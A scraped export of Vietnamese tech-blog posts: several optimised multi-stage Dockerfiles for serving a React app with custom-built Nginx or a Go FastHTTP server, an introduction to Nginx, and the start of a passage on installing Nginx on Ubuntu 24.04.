/etc/nginx/mime.types; default_type application/octet-stream; access_log /dev/stdout; # Performance optimizations sendfile on; tcp_nopush on; tcp_nodelay on; keepalive_timeout 65; server_tokens off; # Compression gzip on; gzip_static on; gzip_vary on; gzip_types text/plain text/css application/json application/javascript text/xml application/xml image/svg+xml; include /etc/nginx/conf.d/*.conf; } EOF # Set proper ownership RUN chown -R 65534:65534 \\ /rootfs/usr/share/nginx/html \\ /rootfs/var/log/nginx \\ /rootfs/var/cache/nginx \\ /rootfs/usr/local/nginx \\ /rootfs/tmp \\ /rootfs/run # ============================================================================== # Stage 5: Final Distroless Image (FROM SCRATCH) # ============================================================================== FROM scratch # Re-declare build args for metadata ARG BUILD_DATE ARG GIT_COMMIT=unknown # OCI metadata labels LABEL org.opencontainers.image.title=\u0026#34;Vite React - Distroless\u0026#34; \\ org.opencontainers.image.description=\u0026#34;Distroless minimal image (\u0026lt;6MB) - UPX compressed\u0026#34; \\ org.opencontainers.image.version=\u0026#34;2.2.0-distroless-upx\u0026#34; \\ org.opencontainers.image.created=\u0026#34;${BUILD_DATE}\u0026#34; \\ org.opencontainers.image.revision=\u0026#34;${GIT_COMMIT}\u0026#34; \\ org.opencontainers.image.base.name=\u0026#34;scratch\u0026#34; \\ org.opencontainers.image.source=\u0026#34;https://github.com/riipandi/vite-react-template\u0026#34; \\ org.opencontainers.image.licenses=\u0026#34;MIT OR Apache-2.0\u0026#34; \\ maintainer=\u0026#34;contest-2025-optimized\u0026#34; # Copy static nginx binary and minimal filesystem COPY --from=nginx-builder /usr/local/nginx/sbin/nginx /usr/sbin/nginx COPY --from=rootfs /rootfs / # Run as non-root user (nobody = 65534) USER 65534:65534 EXPOSE 3000 # Lightweight healthcheck using nginx config test HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \\ CMD [\u0026#34;/usr/sbin/nginx\u0026#34;, \u0026#34;-t\u0026#34;, \u0026#34;-q\u0026#34;] STOPSIGNAL SIGTERM ENTRYPOINT [\u0026#34;/usr/sbin/nginx\u0026#34;] CMD [\u0026#34;-g\u0026#34;, \u0026#34;daemon off;\u0026#34;] Dockerfile TOP 2 (React) – Trần Quốc Toàn Kỹ thuật Giải thích theo tác giả Nguồn tham khảo Healthcheck Native C Viết chương trình C mở socket đến cổng 3000, trả về exit code 0/1. Thu thập Shared Library Dùng ldd để copy đúng thư viện cần cho Nginx khi chạy trong scratch. Cấu hình Nginx tối giản Tắt http_rewrite, http_proxy, mail_*\u0026hellip; vì chỉ phục vụ static. Non-root User Tạo user UID 101 chạy trong image để tăng bảo mật. Dockerfile TOP 2 (React)\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 # STAGE 1: The Builder (Custom Nginx Build) FROM alpine:3.19 AS builder # Multi-arch support ARG TARGETARCH RUN apk add --no-cache build-base pcre2-dev zlib-dev openssl-dev # Download and verify Nginx source with SHA256 checksum ARG NGINX_VERSION=1.27.0 ARG NGINX_SHA256=b7230e3cf87eaa2d4b0bc56aadc920a960c7873b9991a1b66ffcc08fc650129c ADD --checksum=sha256:${NGINX_SHA256} https://nginx.org/download/nginx-${NGINX_VERSION}.tar.gz /tmp/ RUN tar -xzf /tmp/nginx-${NGINX_VERSION}.tar.gz -C /tmp # Configure Nginx with minimal modules (static file serving only) RUN cd /tmp/nginx-${NGINX_VERSION} \u0026amp;\u0026amp; \\ ./configure \\ --prefix=/etc/nginx \\ --sbin-path=/usr/sbin/nginx \\ --conf-path=/etc/nginx/nginx.conf \\ --pid-path=/var/run/nginx.pid \\ --error-log-path=/dev/stderr \\ --http-log-path=/dev/stdout \\ --user=nginx \\ --group=nginx \\ --without-http_rewrite_module \\ --without-http_gzip_module \\ --without-http_proxy_module \\ --without-http_fastcgi_module \\ --without-http_uwsgi_module \\ --without-http_scgi_module \\ --without-mail_pop3_module \\ --without-mail_imap_module \\ --without-mail_smtp_module \u0026amp;\u0026amp; \\ make \u0026amp;\u0026amp; \\ make install \u0026amp;\u0026amp; rm -rf /tmp/* \u0026amp;\u0026amp; strip /usr/sbin/nginx # Create file Nginx main config (include snippet file) RUN { \\ mkdir -p /etc/nginx/conf.d \u0026amp;\u0026amp; \\ cat \u0026gt; /etc/nginx/nginx.conf; \\ } \u0026lt;\u0026lt;EOF events { worker_connections 1024; } http { include /etc/nginx/mime.types; client_body_temp_path /var/cache/nginx/client_body_temp; include /etc/nginx/conf.d/default.conf; } EOF RUN mkdir -p /etc/nginx/conf.d \u0026amp;\u0026amp; \\ cat \u0026gt; /etc/nginx/mime.types \u0026lt;\u0026lt;\u0026#39;EOF\u0026#39; types { text/html html; text/css css; application/javascript js; image/png png; application/json json; } EOF # Create minimal user/group files (no full /etc/passwd needed in scratch image) RUN echo \u0026#34;nginx:x:101:101:nginx:/var/cache/nginx:/sbin/nologin\u0026#34; \u0026gt; /etc/passwd \u0026amp;\u0026amp; \\ echo \u0026#34;nginx:x:101:\u0026#34; \u0026gt; /etc/group # Build static healthcheck binary (no external dependencies like wget/curl needed) RUN { \\ cat \u0026gt; /tmp/healthcheck.c \u0026amp;\u0026amp; \\ gcc -static -O2 -o /healthcheck /tmp/healthcheck.c; \\ } \u0026lt;\u0026lt;EOF #include \u0026lt;netdb.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;sys/socket.h\u0026gt; #include \u0026lt;netinet/in.h\u0026gt; int main() { struct hostent *h = gethostbyname(\u0026#34;localhost\u0026#34;); if (!h) return 1; int sock = socket(AF_INET, SOCK_STREAM, 0); if (sock \u0026lt; 0) return 1; struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(3000); addr.sin_addr = *(struct in_addr *)h-\u0026gt;h_addr_list[0]; int result = connect(sock, (struct sockaddr *)\u0026amp;addr, sizeof(addr)); close(sock); return (result == 0) ? 0 : 1; } EOF # Collect shared libraries required by Nginx (supports multi-arch) RUN mkdir -p /staging/lib /staging/usr/lib \u0026amp;\u0026amp; \\ ldd /usr/sbin/nginx | tr -s \u0026#39;[:space:]\u0026#39; \u0026#39;\\n\u0026#39; | grep \u0026#39;^/\u0026#39; | \\ xargs -I \u0026#39;{}\u0026#39; sh -c \u0026#39;mkdir -p /staging$(dirname {}) \u0026amp;\u0026amp; cp -L {} /staging$(dirname {})\u0026#39; # Create mount point directories for tmpfs (writable dirs in read-only container) RUN mkdir -p /var/cache/nginx /var/run /tmp \u0026amp;\u0026amp; chown -R 101:101 /var/cache/nginx /var/run /tmp # STAGE 2: App Builder (Build React App) FROM node:20.11.0-alpine3.19 AS app_builder WORKDIR /app RUN corepack enable \u0026amp;\u0026amp; corepack prepare pnpm@9.12.2 --activate # Copy dependencies files first for caching COPY package.json pnpm-lock.yaml ./ RUN --mount=type=cache,target=/root/.local/share/pnpm/store,sharing=locked \\ pnpm install --frozen-lockfile --prefer-offline # Copy config files COPY tsconfig.json tsconfig.node.json vite.config.ts ./ COPY postcss.config.js tailwind.config.ts index.html ./ # Copy source code (avoid copying tests, stories, etc.) COPY public/ ./public/ COPY src/ ./src/ RUN pnpm build \u0026amp;\u0026amp; \\ test -f dist/index.html || (echo \u0026#34;Build failed\u0026#34; \u0026amp;\u0026amp; exit 1) # STAGE 3: Production Image (FROM scratch) FROM scratch LABEL org.opencontainers.image.title=\u0026#34;Vite React Template\u0026#34; \\ org.opencontainers.image.description=\u0026#34;Minimal Vite React SPA with custom Nginx built from scratch\u0026#34; \\ org.opencontainers.image.version=\u0026#34;1.0.0\u0026#34; \\ org.opencontainers.image.licenses=\u0026#34;MIT\u0026#34; \\ org.opencontainers.image.base.name=\u0026#34;scratch\u0026#34; \\ org.opencontainers.image.authors=\u0026#34;Contest 2025\u0026#34; # Copy file user/group COPY --from=builder /etc/passwd /etc/group /etc/ # Copy mount points to image COPY --chown=101:101 --from=builder /var/cache/nginx /var/cache/nginx COPY --chown=101:101 --from=builder /var/run /var/run COPY --chown=101:101 --from=builder /tmp /tmp # Copy Nginx and shared libraries COPY --from=builder /usr/sbin/nginx /usr/sbin/nginx COPY --from=builder /staging/ / # Copy main Nginx config (just created) COPY --from=builder /etc/nginx/nginx.conf /etc/nginx/nginx.conf # Copy file config from project into included location COPY nginx.conf /etc/nginx/conf.d/default.conf # Copy remaining necessary files COPY --from=builder /etc/nginx/mime.types /etc/nginx/mime.types COPY --from=app_builder /app/dist /usr/share/nginx/html COPY --from=builder /healthcheck /healthcheck USER 101:101 EXPOSE 3000 HEALTHCHECK --interval=30s --timeout=3s --retries=3 \\ CMD [\u0026#34;/healthcheck\u0026#34;] CMD [\u0026#34;/usr/sbin/nginx\u0026#34;, \u0026#34;-g\u0026#34;, \u0026#34;daemon off;\u0026#34;] Dockerfile TOP 3 (React) – Go + FastHTTP Kỹ thuật Giải thích Nguồn tham khảo Go Server (FastHTTP) Dùng github.com/valyala/fasthttp thay cho Nginx. Asset Embedding //go:embed dist để nhúng toàn bộ asset vào binary. Nén Binary tối đa Build tĩnh, strip, rồi upx --ultra-brute --lzma. Healthcheck tích hợp Binary Go tự đảm nhiệm khi chạy -health. Dockerfile TOP 3 (React)\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 # Stage 1: Build frontend FROM node:20-alpine AS builder RUN corepack enable pnpm WORKDIR /app COPY package.json pnpm-lock.yaml ./ RUN pnpm install --frozen-lockfile COPY tsconfig*.json vite.config.ts postcss.config.js tailwind.config.ts ./ COPY index.html ./ COPY src ./src COPY public ./public RUN pnpm build # Clean up dist (remove source maps, licenses, stats, robots.txt, etc.) RUN find /app/dist -type f -name \u0026#39;*.map\u0026#39; -delete \\ \u0026amp;\u0026amp; find /app/dist -type f -name \u0026#39;*.LICENSE.*\u0026#39; -delete \\ \u0026amp;\u0026amp; find /app/dist -type f -name \u0026#39;*.txt\u0026#39; -delete \\ \u0026amp;\u0026amp; find /app/dist -type f -name \u0026#39;stats.html\u0026#39; -delete \\ \u0026amp;\u0026amp; find /app/dist -type f -name \u0026#39;robots.txt\u0026#39; -delete \\ \u0026amp;\u0026amp; find /app/dist -type f -name \u0026#39;_redirects\u0026#39; -delete # Stage 2: Build Go server with FastHTTP FROM golang:1.21-alpine AS go-builder WORKDIR /app # Cài strip và upx RUN apk add --no-cache binutils upx # Copy dist files để embed COPY --from=builder /app/dist ./dist # Tạo go.mod và main.go với FastHTTP RUN cat \u0026gt; go.mod \u0026lt;\u0026lt; \u0026#39;GOMOD\u0026#39; module server go 1.21 require github.com/valyala/fasthttp v1.51.0 GOMOD RUN cat \u0026gt; main.go \u0026lt;\u0026lt; \u0026#39;GOSRC\u0026#39; package main import ( \u0026#34;embed\u0026#34; \u0026#34;log\u0026#34; \u0026#34;os\u0026#34; \u0026#34;path\u0026#34; \u0026#34;strings\u0026#34; \u0026#34;github.com/valyala/fasthttp\u0026#34; ) //go:embed dist var distFiles embed.FS func main() { port := os.Getenv(\u0026#34;PORT\u0026#34;) if port == \u0026#34;\u0026#34; { port = \u0026#34;3000\u0026#34; } // FastHTTP handler handler := func(ctx *fasthttp.RequestCtx) { pathStr := string(ctx.Path()) // Check if it\u0026#39;s a static asset (has file extension) if strings.Contains(path.Base(pathStr), \u0026#34;.\u0026#34;) { // Try to serve static file file, err := distFiles.Open(\u0026#34;dist\u0026#34; + pathStr) if err == nil { defer file.Close() // Set content type based on extension ext := path.Ext(pathStr) switch ext { case \u0026#34;.js\u0026#34;: ctx.SetContentType(\u0026#34;application/javascript\u0026#34;) case \u0026#34;.css\u0026#34;: ctx.SetContentType(\u0026#34;text/css\u0026#34;) case \u0026#34;.svg\u0026#34;: ctx.SetContentType(\u0026#34;image/svg+xml\u0026#34;) case \u0026#34;.png\u0026#34;: ctx.SetContentType(\u0026#34;image/png\u0026#34;) case \u0026#34;.jpg\u0026#34;, \u0026#34;.jpeg\u0026#34;: ctx.SetContentType(\u0026#34;image/jpeg\u0026#34;) case \u0026#34;.ico\u0026#34;: ctx.SetContentType(\u0026#34;image/x-icon\u0026#34;) default: ctx.SetContentType(\u0026#34;application/octet-stream\u0026#34;) } // Copy file content to response ctx.Response.SetBodyStream(file, -1) return } } // SPA fallback - serve index.html for all routes file, err := distFiles.Open(\u0026#34;dist/index.html\u0026#34;) if err != nil { ctx.SetStatusCode(404) ctx.SetBodyString(\u0026#34;Not Found\u0026#34;) return } defer file.Close() ctx.SetContentType(\u0026#34;text/html; charset=utf-8\u0026#34;) ctx.Response.SetBodyStream(file, -1) } // healthcheck if len(os.Args) \u0026gt; 1 \u0026amp;\u0026amp; os.Args[1] == \u0026#34;-health\u0026#34; { _, _, err := fasthttp.Get(nil, \u0026#34;http://127.0.0.1:\u0026#34;+port) if err != nil { os.Exit(1) } os.Exit(0) } log.Printf(\u0026#34;FastHTTP server on :%s\u0026#34;, port) log.Fatal(fasthttp.ListenAndServe(\u0026#34;:\u0026#34;+port, handler)) } GOSRC # Download dependencies và build với tối ưu extreme RUN go mod tidy RUN CGO_ENABLED=0 GOOS=linux go build -ldflags=\u0026#34;-s -w\u0026#34; -trimpath -o server main.go RUN strip server RUN upx --ultra-brute --lzma server # Stage 3: Ultra-minimal runtime (scratch) FROM scratch # Copy binary (chứa cả static files) COPY --from=go-builder /app/server /server EXPOSE 3000 # Thêm USER 1000 USER 1000 HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \\ CMD [\u0026#34;/server\u0026#34;, \u0026#34;-health\u0026#34;] CMD [\u0026#34;/server\u0026#34;] Dockerfile TOP (React) – Nginx tự biên dịch trên Alpine Kỹ thuật Giải thích Nguồn tham khảo Nginx Biên Dịch Build Nginx 1.27.3 từ source, bật module cần cho SPA (gzip_static, ssl). Pre-compression gzip -k -9 cho asset, phục vụ qua gzip_static on. Security Headers inline Thêm X-Frame-Options, X-Content-Type-Options, X-XSS-Protection. Healthcheck Dựa trên wget kiểm tra HTTP 200 tại cổng 3000. Dockerfile TOP (React)\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 # ========================= # Giai đoạn 1: Node base # ========================= # Môi trường build cho Vite/React: chỉ cài những thứ tối thiểu để biên dịch FROM alpine:3.20@sha256:765942a4039992336de8dd5db680586e1a206607dd06170ff0a37267a9e01958 AS node-base RUN apk add --no-cache nodejs npm git python3 g++ make \u0026amp;\u0026amp; \\ npm install -g pnpm@9.12.2 \u0026amp;\u0026amp; npm cache clean --force # ========================= # Giai đoạn 2: Builder # ========================= # Dùng cache mount cho pnpm để tăng tốc build lại; xóa source map; nén gzip sẵn FROM node-base AS builder WORKDIR /app COPY package.json pnpm-lock.yaml ./ RUN --mount=type=cache,id=pnpm-custom,target=/root/.local/share/pnpm/store \\ pnpm install --frozen-lockfile --prefer-offline # Sao chép cấu hình \u0026amp; mã nguồn COPY index.html ./ COPY vite.config.ts tsconfig.json tsconfig.node.json ./ COPY postcss.config.js tailwind.config.ts ./ COPY public ./public COPY src ./src # Build \u0026amp; tối ưu artefact tĩnh RUN pnpm run build \u0026amp;\u0026amp; \\ find /app/dist -name \u0026#34;*.map\u0026#34; -type f -delete || true \u0026amp;\u0026amp; \\ find /app/dist -type f \\( -name \u0026#39;*.html\u0026#39; -o -name \u0026#39;*.js\u0026#39; -o -name \u0026#39;*.css\u0026#39; -o -name \u0026#39;*.svg\u0026#39; -o -name \u0026#39;*.json\u0026#39; \\) \\ -exec gzip -k -9 {} \\; # ====================================== # Giai đoạn 3: Nginx builder (tự biên dịch) # ====================================== # Biên dịch nginx 1.27.3 với module tối thiểu cho SPA + nén tĩnh FROM alpine:3.20@sha256:765942a4039992336de8dd5db680586e1a206607dd06170ff0a37267a9e01958 AS nginx-builder RUN apk add --no-cache --virtual .build-deps gcc libc-dev make pcre2-dev zlib-dev openssl-dev linux-headers \u0026amp;\u0026amp; \\ wget -O /tmp/nginx.tar.gz https://nginx.org/download/nginx-1.27.3.tar.gz \u0026amp;\u0026amp; \\ tar -xzf /tmp/nginx.tar.gz -C /tmp \u0026amp;\u0026amp; cd /tmp/nginx-1.27.3 \u0026amp;\u0026amp; \\ ./configure \\ --prefix=/etc/nginx \\ --sbin-path=/usr/sbin/nginx \\ --modules-path=/usr/lib/nginx/modules \\ --conf-path=/etc/nginx/nginx.conf \\ --error-log-path=/var/log/nginx/error.log \\ --http-log-path=/var/log/nginx/access.log \\ --pid-path=/var/run/nginx.pid \\ --lock-path=/var/run/nginx.lock \\ --http-client-body-temp-path=/var/cache/nginx/client_temp \\ --http-proxy-temp-path=/var/cache/nginx/proxy_temp \\ --user=nginx --group=nginx \\ --with-http_ssl_module --with-http_v2_module \\ --with-http_gzip_static_module --with-http_stub_status_module \\ --with-threads --with-file-aio \\ --without-http_autoindex_module --without-http_browser_module \\ --without-http_geo_module --without-http_map_module \\ --without-http_memcached_module --without-http_userid_module \\ --without-mail_pop3_module --without-mail_imap_module \\ --without-mail_smtp_module --without-http_split_clients_module \\ --without-http_uwsgi_module --without-http_scgi_module \\ --without-http_grpc_module \u0026amp;\u0026amp; \\ make -j$(nproc) \u0026amp;\u0026amp; make install \u0026amp;\u0026amp; strip /usr/sbin/nginx \u0026amp;\u0026amp; \\ rm -rf /tmp/nginx* \u0026amp;\u0026amp; apk del .build-deps # ====================================== # Giai đoạn 4: Runtime base tối giản # ====================================== # Chỉ giữ runtime deps; tạo user non-root; chuẩn bị thư mục và quyền FROM alpine:3.20@sha256:765942a4039992336de8dd5db680586e1a206607dd06170ff0a37267a9e01958 AS custom-runtime-base RUN apk add --no-cache pcre2 zlib openssl tzdata \u0026amp;\u0026amp; \\ addgroup -g 101 -S nginx \u0026amp;\u0026amp; \\ adduser -S -D -H -u 101 -h /var/cache/nginx -s /sbin/nologin -G nginx -g nginx nginx \u0026amp;\u0026amp; \\ mkdir -p /var/cache/nginx /var/log/nginx /etc/nginx/conf.d /usr/share/nginx/html \u0026amp;\u0026amp; \\ chown -R nginx:nginx /var/cache/nginx /var/log/nginx /usr/share/nginx/html COPY --from=nginx-builder /usr/sbin/nginx /usr/sbin/nginx COPY --from=nginx-builder /etc/nginx /etc/nginx # ====================================== # Giai đoạn 5: Runtime cuối # ====================================== FROM custom-runtime-base AS runtime LABEL org.opencontainers.image.title=\u0026#34;SvnFrs-Dockerfile_Contest_2025\u0026#34; \\ org.opencontainers.image.description=\u0026#34;SPA production trên Alpine với Nginx tự biên dịch, tối ưu và bảo mật\u0026#34; \\ org.opencontainers.image.version=\u0026#34;1.0.0\u0026#34; \\ org.opencontainers.image.licenses=\u0026#34;MIT\u0026#34; \\ org.opencontainers.image.created=\u0026#34;2025-10-28\u0026#34; \\ org.opencontainers.image.base.name=\u0026#34;alpine:3.20\u0026#34; # Ứng dụng tĩnh đã build COPY --from=builder --chown=nginx:nginx /app/dist /usr/share/nginx/html # Cấu hình Nginx tối thiểu (inline) bật gzip_static để phục vụ file .gz RUN echo \u0026#39;server { \\ listen 3000; server_name localhost; \\ root /usr/share/nginx/html; index index.html; \\ gzip_static on; gzip_vary on; \\ location / { try_files $uri $uri/ /index.html; expires 1y; add_header Cache-Control \u0026#34;public, immutable\u0026#34;; } \\ location = /index.html { expires -1; add_header Cache-Control \u0026#34;no-cache\u0026#34;; } \\ add_header X-Frame-Options \u0026#34;SAMEORIGIN\u0026#34; always; \\ add_header X-Content-Type-Options \u0026#34;nosniff\u0026#34; always; \\ add_header X-XSS-Protection \u0026#34;1; mode=block\u0026#34; always; \\ }\u0026#39; \u0026gt; /etc/nginx/conf.d/default.conf \u0026amp;\u0026amp; \\ echo \u0026#39;worker_processes auto; error_log /var/log/nginx/error.log warn; pid /var/run/nginx.pid; \\ events { worker_connections 1024; } http { include /etc/nginx/mime.types; default_type application/octet-stream; sendfile on; keepalive_timeout 65; include /etc/nginx/conf.d/*.conf; }\u0026#39; \u0026gt; /etc/nginx/nginx.conf \u0026amp;\u0026amp; \\ echo \u0026#39;types { \\ text/html html htm shtml; text/css css; text/javascript js; application/json json; \\ image/svg+xml svg svgz; image/x-icon ico; image/png png; image/jpeg jpeg jpg; \\ font/woff2 woff2; application/wasm wasm; \\ }\u0026#39; \u0026gt; /etc/nginx/mime.types # Thư mục tạm/ngầm của Nginx + phân quyền trước khi chuyển USER RUN mkdir -p /var/cache/nginx/client_temp \\ /var/cache/nginx/proxy_temp \\ /etc/nginx/fastcgi_temp \\ /etc/nginx/proxy_temp \\ /etc/nginx/client_body_temp \\ /etc/nginx/uwsgi_temp \\ /etc/nginx/scgi_temp \u0026amp;\u0026amp; \\ chown -R nginx:nginx /var/cache/nginx \\ /var/log/nginx \\ /usr/share/nginx/html \\ /etc/nginx/fastcgi_temp \\ /etc/nginx/proxy_temp \\ /etc/nginx/client_body_temp \\ /etc/nginx/uwsgi_temp \\ /etc/nginx/scgi_temp \u0026amp;\u0026amp; \\ chmod -R 755 /var/cache/nginx \\ /etc/nginx/fastcgi_temp \\ /etc/nginx/proxy_temp \\ /etc/nginx/client_body_temp \\ /etc/nginx/uwsgi_temp \\ /etc/nginx/scgi_temp \u0026amp;\u0026amp; \\ touch /var/run/nginx.pid \u0026amp;\u0026amp; \\ chown nginx:nginx /var/run/nginx.pid # Healthcheck rẻ: HTTP 200 ở cổng 3000 RUN apk add --no-cache wget HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \\ CMD wget --quiet --tries=1 --spider http://localhost:3000/ || exit 1 EXPOSE 3000 STOPSIGNAL SIGQUIT USER nginx CMD [\u0026#34;nginx\u0026#34;, \u0026#34;-g\u0026#34;, \u0026#34;daemon off;\u0026#34;] Ghi chú triển khai Các Dockerfile trên chỉ mang tính tham khảo kiến trúc; khi áp dụng vào dự án Node.js/React của bạn, hãy giữ nguyên nguyên tắc: multi-stage build, pre-compress, non-root, pin SHA. ","date":"18/11/2025","image":"https://tech.nguuyen.io.vn/images/docker-optimization/docker-optimization-react.webp","permalink":"/vi/posts/docker-optimization/docker-opt-nodejs/","summary":"Phân tích các kỹ thuật tối ưu Dockerfile từ Dockerfile Contest 2025 cho workflow React/Node.","tags":["docker","nodejs","performance"],"title":"Tối ưu Docker cho Node.js"},{"categories":["Website"],"content":"Nginx là gì? NGINX là một phần mềm web server mã nguồn mở đáng tin cậy\nNginx là một phần mềm web server mã nguồn mở, hoạt động theo kiến trúc bất đồng bộ (asynchronous) hướng sự kiện (event-driven). ban đầu được phát triển để phục vụ http cache, nhưng sau này được mở rộng để hỗ trợ reverse proxy, http load balancing và các giao thức truyền mail như imap4, pop3, smtp.\nRa mắt vào tháng 10/2014, Nginx được nhiều công ty lớn như google, adobe, netflix, wordpress sử dụng nhờ khả năng xử lý hàng nghìn kết nối đồng thời.\nCách hoạt động của Nginx NGINX cũng hoạt động tương tự như các server khác\nNginx hoạt động theo mô hình xử lý bất đồng bộ, khác với cách xử lý tuần tự của các web server truyền thống.\nMỗi tiến trình (process) sẽ có nhiều worker connections để xử lý các yêu cầu. Worker connections gửi yêu cầu đến worker process, worker process chuyển tiếp đến master process để xử lý. Nhờ cơ chế này, một worker connection có thể xử lý đến 1024 yêu cầu cùng lúc, giúp Nginx xử lý hàng ngàn yêu cầu hiệu quả. Các tính năng của Nginx Máy chủ NGINX có nhiều tính năng và ưu điểm vượt trội trong lập trình\nNginx sở hữu nhiều tính năng vượt trội:\nxử lý hơn 10.000 kết nối đồng thời với mức sử dụng bộ nhớ thấp. phục vụ tập tin tĩnh (static files) và lập chỉ mục tập tin. cân bằng tải và hỗ trợ proxy ngược với bộ nhớ đệm (cache). hỗ trợ fastcgi, uwsgi, scgi và memcached. kiến trúc modular và nén gzip tự động. hỗ trợ mã hóa ssl/tls. rewrite url bằng regular expressions. hỗ trợ websockets và giới hạn số kết nối đồng thời. tương thích với ipv6. So sánh Nginx và Apache server So với Apache server, NGINX server có khá nhiều ưu điểm\n** Apache server:** xử lý yêu cầu bằng mô hình chia luồng (forked threaded) hoặc keep-alive. có thể xử lý cả nội dung tĩnh và động. ** Nginx server:** sử dụng vòng lặp sự kiện không đồng bộ (non-blocking event loop). xử lý nội dung tĩnh hiệu quả hơn Apache. tốc độ xử lý truy vấn nhanh hơn và tiết kiệm tài nguyên hơn. cần bộ xử lý riêng để hỗ trợ nội dung động. Hướng dẫn kiểm tra Nginx của website Bạn có thể dựa vào các công cụ sẵn có để kiếm tra website có chạy Nginx\nBạn có thể kiểm tra website có chạy Nginx hay không bằng cách kiểm tra http header:\nMở trang web cần kiểm tra trên trình duyệt chrome. Nhấn ctrl + shift + i hoặc f12 để mở chrome devtools. Chuyển sang tab network. Chọn một request bất kỳ và xem phần headers. Ngoài ra, bạn có thể sử dụng công cụ như pingdom hoặc gtmetrix để kiểm tra.\nLời kết Nginx đã và đang trở thành một trong những web server phổ biến nhất nhờ hiệu suất cao, khả năng xử lý hàng nghìn kết nối đồng thời và nhiều tính năng mạnh mẽ. Dù bạn cần một giải pháp để phục vụ nội dung tĩnh, cân bằng tải hay làm reverse proxy, Nginx đều có thể đáp ứng một cách hiệu quả. Hy vọng bài viết này giúp bạn hiểu rõ hơn về Nginx và cách nó hoạt động. Nếu bạn đang cân nhắc triển khai một web server tối ưu cho dự án của mình, hãy thử nghiệm Nginx và khám phá những lợi ích mà nó mang lại!\n","date":"10/03/2025","image":"https://tech.nguuyen.io.vn/images/website/nginx-introduction-guide.webp","permalink":"/vi/posts/website/nginx-introduction-guide/","summary":"Nginx là web server mã nguồn mở, hoạt động bất đồng bộ, ban đầu dùng cho HTTP cache nhưng mở rộng hỗ trợ reverse proxy, load balancing và mail proxy, được nhiều công ty lớn sử dụng nhờ khả năng xử lý hàng nghìn kết nối đồng thời.","tags":["website","nginx"],"title":"Giới thiệu về Nginx"},{"categories":["Website","Installation Guides"],"content":"Giới thiệu Nginx là một ứng dụng web server mã nguồn mở giúp triển khai các ứng dụng web tĩnh và động trên máy chủ. Nginx có thể hoạt động như một web server, load balancer, reverse proxy hoặc HTTP cache, hỗ trợ tích hợp với các ứng dụng hiện có để xây dựng một hệ thống hoàn chỉnh hoặc phân phối ứng dụng web qua địa chỉ IP hoặc tên miền.\nBài viết này hướng dẫn cách cài đặt Nginx trên Ubuntu 24.04 và thiết lập ứng dụng web mẫu để chạy trên máy chủ của bạn.\nYêu cầu trước khi bắt đầu Trước khi tiến hành, hãy đảm bảo bạn đã thực hiện các bước sau:\nTriển khai một máy chủ Ubuntu 24.04. Tạo một bản ghi A (A record) cho tên miền hoặc subdomain trỏ đến địa chỉ IP của máy chủ. Ví dụ: app.example.com. Truy cập máy chủ qua SSH và tạo một người dùng không phải root có quyền sudo. Cập nhật hệ thống. Cài đặt NGINX trên Ubuntu 24.04 Gói NGINX mới nhất có sẵn trong kho APT mặc định trên Ubuntu 24.04. Thực hiện các bước sau để cập nhật hệ thống và cài đặt NGINX.\nCập nhật danh sách gói hệ thống\n1 sudo apt update Cài đặt NGINX\n1 sudo apt install nginx -y Kiểm tra phiên bản NGINX đã cài đặt\n1 sudo nginx -version 